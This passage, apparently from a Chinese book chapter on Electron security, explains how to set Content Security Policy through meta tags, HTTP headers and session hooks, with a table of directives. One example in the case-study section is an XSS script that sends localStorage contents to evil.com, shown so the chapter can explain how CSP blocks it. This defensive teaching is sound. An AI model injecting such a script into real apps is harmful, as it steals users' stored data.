内容安全策略(Content Security Policy,简称 CSP)是浏览器内置的一道防线,它通过声明允许加载哪些来源的资源、是否允许内联脚本等规则,来大幅降低 XSS(跨站脚本)攻击成功的可能性。Electron 的渲染进程本质上就是一个 Chromium 浏览器,因此同样支持完整的 CSP 能力,而且你可以在 HTML 的 <meta> 标签中、HTTP 响应头里,或者通过 Electron 的 session API 来灵活配置。
23.2.1 为什么 Electron 应用更需要 CSP
很多开发者会有一个误区:“Electron 应用跑在本地,又不是公开的 Web 网站,XSS 风险应该很低吧?” 事实恰恰相反。Electron 应用通常具有读写本地文件、调用系统 API 甚至执行本地命令的权限,一旦被 XSS 注入,等同于攻击者获得了在用户电脑上执行操作的能力。这也是官方从 Electron 12 开始默认开启 contextIsolation 并强烈建议禁用 nodeIntegration 的原因。
不过,即使遵循了安全最佳实践(如使用 preload 脚本、关闭远程模块),渲染进程仍然有可能从被注入的内容中加载恶意脚本。CSP 就是兜底的第二层加固 —— 即使某个页面因为渲染了不可信的用户输入而存在 XSS 漏洞,CSP 也能阻止恶意脚本实际执行,或阻止它向外部服务器发送窃取到的数据。
23.2.2 在 Electron 中设置 CSP 的三种方式
方式一:通过 <meta> 标签
最简单的方法是在 HTML 文件的 <head> 中插入一个 <meta> 标签。这种做法适用于加载本地 HTML 页面的场景:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'">
这段策略的含义是:
- 默认只允许加载当前应用内的资源(协议一般为
file://或app://)。 - 脚本只允许同源加载,禁止内联脚本(
<script>...</script>)和eval()。 - 样式允许同源以及内联样式(为了开发便利,实际上内联样式风险较低,推荐保留)。
- 图片允许同源和
data:URI(便于嵌入小图标)。 - 字体和网络请求(
fetch、XHR等)也只允许同源。
方式二:在服务端设置 HTTP 头
如果你的 Electron 应用加载的是远程页面(例如通过 win.loadURL('https://example.com')),CSP 可以由服务器在响应头中返回。此时你不需要在本地 HTML 中添加 <meta>,策略依然生效。Electron 会遵守这些来自服务器的头信息,除非你显式修改了 session 的安全策略。
方式三:通过 session.defaultSession.webRequest 动态注入
这是最灵活、也是生产级 Electron 应用推荐的方式。你可以在应用启动时,使用 webRequest 的 onHeadersReceived 钩子,为所有请求动态添加或修改 CSP 头。这样可以确保即使加载远程内容,也受应用定义的统一策略控制:
const { session } = require('electron');
session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
callback({
responseHeaders: {
...details.responseHeaders,
'Content-Security-Policy': [
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
]
}
});
});
这种方式也方便集中管理策略,避免在每个 HTML 页面中重复配置。
23.2.3 设计实用的 CSP 规则
建立 CSP 的目标并不是让应用完全无法运行,而是找到安全性和功能性的平衡。在实际开发中,你需要根据应用所依赖的资源类型来逐步放开策略:
| 资源类型 | 常见用途 | 推荐配置思路 |
|--------|--------|------------|
| script-src | JavaScript 脚本 | 只允许 'self';如果使用了 Web Worker 或 Service Worker,需要添加 'worker-src'。优先禁用 'unsafe-eval' 和 'unsafe-inline',除非第三方库强制要求。 |
| style-src | CSS 样式 | 允许 'self' 和 'unsafe-inline'(因为前端框架常生成内联样式)。如果有外部字体图标(如 Font Awesome),可在 style-src 加入其域名。 |
| img-src | 图片 | 允许 'self' 和 data:;如果需要显示用户头像或外部图片,则需要额外添加具体域名或 https:。 |
| font-src | 字体文件 | 允许 'self' 和 data:;如果使用 Google Fonts 等,需要添加相应域名。 |
| connect-src | 网络请求(fetch、WebSocket 等) | 建议显式列出你的后端 API 域名,避免攻击者窃取数据到外部服务器。 |
| frame-src | <iframe> 嵌入内容 | 如果不使用内嵌网页,可以直接设置为 'none'。 |
| media-src | 音视频资源 | 允许本地或特定 CDN 域名。 |
最精简可信起点:
<meta http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'">
然后根据应用实际依赖,逐步增加允许的来源,并在开发工具的控制台中观察 CSP 违规报告(会被打印为错误),进行微调。
23.2.4 真实案例:防止第三方组件注入
假设你的应用有一个评论展示区,用户输入的内容会原样渲染在页面上。如果不做任何防范,恶意用户可能提交以下内容:
<script>
// 窃取 localStorage 并发送到外部服务器
fetch('https://evil.com/steal?data=' + JSON.stringify(localStorage));
</script>
即使你已经对输入进行了 HTML 转义,但一旦渲染层出现漏洞(比如使用了 dangerouslySetInnerHTML 在 React 中),这段脚本仍会执行。如果你配置了强 CSP,如 script-src 'self',那么这段内联脚本根本不会运行,控制台会显示:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"
攻击请求也被 connect-src 'self' 拦截,从而切断了数据外泄的路径。
另一个常见场景:第三方 npm 包可能存在供应链攻击,悄悄引入了外部脚本。有了 CSP 的域名白名单,恶意代码想要连接陌生域名或加载外部资源时就会被阻止。你甚至可以在策略中添加上报地址(report-uri 或 report-to),收集违反策略的事件,用于监控和审计:
Content-Security-Policy: default-src 'self'; report-uri https://yourdomain.com/csp-report
23.2.5 注意事项与调试技巧
- 逐步放开,不要一次性禁用所有限制。可以在开发环境开启较宽松的策略,在生产环境收紧。
- 避免使用
'unsafe-eval':如果第三方库真的需要eval才能运行,优先考虑寻找替代库,因为eval是 XSS 攻击的放大器。 - 默认允许
data:的陷阱:script-src中如果允许data:,攻击者可能通过data:text/javascript引入恶意代码。所以script-src一般不包含data:。 - 使用
Content-Security-Policy-Report-Only头:在调整策略阶段,可以用报告模式代替强制模式,这样违规只会上报而不会阻止加载,便于你了解实际影响。 - 配合 DevTools 检查:打开应用窗口的开发者工具,网络面板和 Console 面板会明确提示哪些资源因 CSP 被阻止,你可以根据这些提示精准调整指令。
最终,CSP 是 Electron 安全防护体系中不可或缺的一环。它和 contextIsolation、进程隔离一起,形成对渲染进程的纵深防御,确保即使应用内部某个角落被攻破,损失也能被限制在可控范围内。